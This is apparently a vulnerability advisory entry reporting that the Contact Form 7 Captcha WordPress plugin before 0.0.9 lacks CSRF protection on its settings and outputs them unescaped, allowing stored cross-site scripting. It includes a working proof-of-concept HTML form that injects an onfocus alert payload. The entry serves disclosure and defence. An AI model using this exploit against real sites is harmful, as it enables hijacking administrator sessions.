Lucene search

K
wpexploitDc11WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0
HistoryJul 26, 2021 - 12:00 a.m.

Contact Form 7 Captcha < 0.0.9 - CSRF to Stored XSS

2021-07-2600:00:00
dc11
388

The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.

All cf7sr_* parameters are vulnerable

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=cf7sr_edit" method="POST">
      <input type="hidden" name="update" value="1" />
      <input type="hidden" name="cf7sr_key" value="1" />
      <input type="hidden" name="cf7sr_secret" value="2" />
      <input type="hidden" name="cf7sr_message" value='" autofocus=autofocus onfocus=alert(1) e=' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Related for WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0